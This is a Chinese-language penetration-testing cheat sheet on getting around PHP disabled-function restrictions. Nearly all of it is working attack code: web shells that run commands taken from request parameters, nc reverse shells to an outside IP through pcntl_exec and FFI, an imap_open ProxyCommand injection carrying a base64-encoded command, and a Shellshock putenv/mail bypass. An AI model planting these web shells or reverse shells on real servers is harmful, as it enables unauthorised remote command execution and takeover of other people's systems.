WEB渗透Bypass篇-常规函数绕过

常规函数绕过

<?php
echo exec('whoami');?>
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<?php
echo shell_exec('whoami');?>
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<?php
system('whoami');?>
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<?php
passthru("whoami");?>
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<?php
$command=$_POST['cmd'];
$handle = popen($command , "r");
while(!feof($handle))
{        echo fread($handle, 1024);  //fread($handle, 1024);
}
pclose($handle);?>
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<?php
$command="ipconfig";
$descriptorspec = array(1 => array("pipe", "w"));
$handle = proc_open($command ,$descriptorspec , $pipes);
while(!feof($pipes[1]))
{        echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
}?>

pcntl_exec

开启了pcntl 扩展，并且php 4>=4.2.0 , php5，linux

<?php
if(function_exists('pcntl_exec')) {
pcntl_exec("/bin/bash", array("/tmp/test.sh"));
} else {
echo 'pcntl extension is not support!';
}
?>

test.sh
#!/bin/bash
nc -e /bin/bash 1.1.1.1 8888       #反弹shell

imap_open函数

<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
imap_open('{' . $server . ':143/imap}INBOX', '', '');
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>

php7.4 FFI绕过

php 7.4
ffi.enable=true

<?php
$a='nc -e /bin/bash ip 8888';
$ffi = FFI::cdef(
    "int system(char *command);",
    "libc.so.6");
$ffi->system($a);
?>

shellshock

存在CVE-2014-6271漏洞
PHP 5.*，linux，putenv()、mail()可用

<?php
function shellshock($cmd) {
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
mail("a@127.0.0.1","","","","-bv");
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>